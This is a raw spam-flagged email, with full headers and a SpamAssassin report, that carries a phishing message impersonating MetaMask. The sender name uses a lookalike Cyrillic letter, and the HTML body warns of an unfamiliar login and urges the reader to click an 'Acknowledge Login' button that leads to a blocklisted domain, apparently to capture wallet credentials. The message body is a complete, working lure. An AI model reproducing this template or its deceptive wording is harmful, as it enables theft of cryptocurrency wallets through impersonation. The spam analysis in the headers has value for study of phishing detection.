Return-Path: <postmaster@03e9b7a8e1.nxcli.io>
Delivered-To: info+spam@ecolux-btp.com
Received: from myrte.o2switch.net
	by myrte.o2switch.net with LMTP
	id LP3MM2fKPGg+zSQA5PApdA
	(envelope-from <postmaster@03e9b7a8e1.nxcli.io>)
	for <info+spam@ecolux-btp.com>; Sun, 01 Jun 2025 23:47:19 +0200
Return-path: <postmaster@03e9b7a8e1.nxcli.io>
Envelope-to: info@ecolux-btp.com
Delivery-date: Sun, 01 Jun 2025 23:47:19 +0200
Received: from cloudhost-2936434.us-west-1.nxcli.net ([173.249.147.149]:46874)
	by myrte.o2switch.net with esmtps  (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
	(Exim 4.98.2)
	(envelope-from <postmaster@03e9b7a8e1.nxcli.io>)
	id 1uLqWO-0000000A6Xf-1mz4
	for info@ecolux-btp.com;
	Sun, 01 Jun 2025 23:47:19 +0200
Comment: DomainKeys? See http://domainkeys.sourceforge.net/
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws;
  s=default; d=03e9b7a8e1.nxcli.io;
  b=Wwpuhm2pQWa2OWMSnh2ZNcqeMRtWb9Nf/qAaCZZJ48404++4tuQrikqIdAXjw+IETdkUDOh1PJIvpIIJHDdEq/qMS7fJR6o8HO5XcLOF+1acQ1giNkiNiXTMqcjPdBOi1i6ICad88mPDIhNxfztaUt/AjVW/st9xrVZPmQPNbeOyADngZLuDAnC8idtLNzwM6+FMbm/CCJn3P8VVkGC/5NwijO/Hz5TOPUybY8RkAId3Va+Amksarc3eI+v1TfdxbO+lb77G20Xd3ibnIbDtBpUHLP+gAoU5fJ4RsOJ67pZyePklk14yBz41pZDmrTYAzvDybIBXDQl0zFkTjjkxpg==;
  h=Received:Date:Message-ID:To:Subject:X-PHP-Originating-Script:From:Reply-To:MIME-Version:Content-Type:X-Mailer:X-Priority;
DKIM-Signature: v=1; a=rsa-sha1; c=relaxed; d=03e9b7a8e1.nxcli.io; h=
	date:message-id:to:subject:from:reply-to:mime-version
	:content-type; s=default; bh=9QSuOu759qZipJVl0M4j/Dw/gi8=; b=dxF
	jd/HO+lfm8pX4lj4KbzUkJoGFAPo88uzdkIG1soE55u+Xvzu3QckQxNfbiYKf3vw
	064cafEMPRbTObqFyVSL6xRv7RNi3Y+ktOs+GvMFkV7PmxMb7P9XkMtnvjPi1r+c
	vrDwqu1K5RCReC7Lt3/WtpwuvC7cwaiEEaCO0mF+YErnUwi8YqKLuXkrE+trf37B
	ZjeShciStzItNEsZPUBqr6pOwg0RQKYi+7+x3KEJkv1yvRJKCDK28xld6JQ+DD+T
	Oc1FahPocmJ3ZSjyWlUUJMP3ABTFcdxyWAFqJBYxfueU8FrgAux+P4W83jbEbP26
	TaJ3fL2arS9dYfON1Ow==
Received: (qmail 8470 invoked by uid 10216); 1 Jun 2025 19:46:39 +0000
Date: 1 Jun 2025 19:46:39 +0000
Message-ID: <20250601194639.8412.qmail@cloudhost-2936434.us-west-1.nxcli.net>
To: info@ecolux-btp.com
X-PHP-Originating-Script: 10216:j.php
From: "MetaMаsk" <k3tmaesu@faj.io>
Reply-To: k3tmaesu@faj.io
MIME-Version: 1.0
Content-Type: text/html; charset=UTF-8
X-Mailer: PHP/8.2.20
X-Priority: 3
X-Spam-Status: Yes, score=7.8
X-Spam-Score: 78
X-Spam-Bar: +++++++
X-Spam-Report: Spam detection software, running on the system "scan.jabatus.fr",
 has identified this incoming email as possible spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 the administrator of that system for details.
 Content preview:  MetaMаsk - Review Required Review Required Your account was
    accessed from an unfamiliar IP address. 
 Content analysis details:   (7.8 points, 5.0 required)
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  0.0 URIBL_BLOCKED          ADMINISTRATOR NOTICE: The query to URIBL was
                             blocked.  See
                             http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
                              for more information.
                             [URIs: starmaza.news]
  1.9 URIBL_ABUSE_SURBL      Contains an URL listed in the ABUSE SURBL
                             blocklist
                             [URIs: starmaza.news]
  3.6 RCVD_IN_SBL_CSS        RBL: Received via a relay in Spamhaus SBL-CSS
                             [173.249.147.149 listed in zen.spamhaus.org]
  0.1 URIBL_CSS_A            Contains URL's A record listed in the Spamhaus CSS
                             blocklist
                             [URIs: 03e9b7a8e1.nxcli.io]
  0.0 RCVD_IN_DNSWL_BLOCKED  RBL: ADMINISTRATOR NOTICE: The query to
                             DNSWL was blocked.  See
                             http://wiki.apache.org/spamassassin/DnsBlocklists#DnsBlocklists-dnsbl-block
                              for more information.
                             [173.249.147.149 listed in list.dnswl.org]
  0.2 BAD_SUKA_DSTM          No description available.
  0.2 BAD_SUKA994_3          No description available.
  0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE:
                             The query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                             [173.249.147.149 listed in sa-accredit.habeas.com]
  0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The
                             query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                           [173.249.147.149 listed in bl.score.senderscore.com]
  0.2 HEADER_FROM_DIFFERENT_DOMAINS From and EnvelopeFrom 2nd level
                             mail domains are different
  0.0 SPF_NONE               SPF: sender does not publish an SPF Record
  0.0 SPF_HELO_NONE          SPF: HELO does not publish an SPF Record
  0.0 HTML_FONT_LOW_CONTRAST BODY: HTML font color similar or
                             identical to background
  0.1 HTML_MESSAGE           BODY: HTML included in message
  0.7 HTML_IMAGE_ONLY_20     BODY: HTML: images with 1600-2000 bytes of
                             words
  0.6 MIME_HTML_ONLY         BODY: Message only has text/html MIME parts
  0.1 DKIM_SIGNED            Message has a DKIM or DK signature, not necessarily
                             valid
  0.1 DKIM_INVALID           DKIM or DK signature exists, but is not valid
X-Spam-Flag: YES
Subject:  ***Potentiel-SPAM***  Security Notification


<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>MetaMаsk - Review Required</title>
</head>
<body style="margin:0;padding:20px;background:#f5f6fa;font-family:Arial,sans-serif;color:#333">
  <table cellpadding="0" cellspacing="0" width="100%" style="max-width:520px;margin:auto;background:#fff;border:1px solid #ddd;border-radius:8px;">
    <tr>
      <td style="padding:28px 24px;text-align:center;">
        <img src="https://images.ctfassets.net/clixtyxoaeas/1ezuBGezqfIeifWdVtwU4c/d970d4cdf13b163efddddd5709164d2e/MetaMask-icon-Fox.svg" alt="MetaMаsk" width="48" style="margin-bottom:16px;">
        <h2 style="color:#f6851b;font-size:18px;margin-bottom:18px;">Review Required</h2>
        <p style="font-size:15px;line-height:1.6;margin-bottom:14px;">
          Your account was accessed from an unfamiliar IP address.
        </p>
        <p style="font-size:15px;line-height:1.6;margin-bottom:18px;">
          Check this alert and make sure it was you. If not, please take action immediately to protect your wallet.
        </p>
        <p style="margin:24px 0;">
          <a href="https://meerut.starmaza.news/bmw/?id=5081207089859866164-1801" style="background:#f6851b;color:#fff;text-decoration:none;padding:10px 22px;border-radius:6px;font-weight:bold;font-size:15px;display:inline-block;">
            Acknowledge Login
          </a>
        </p>
        <p style="font-size:12px;color:#888;margin-top:24px;">
          Action is recommended if this was not expected.<br><br>— MetaMаsk Security Team
        </p>
      </td>
    </tr>
  </table>
</body>
</html>

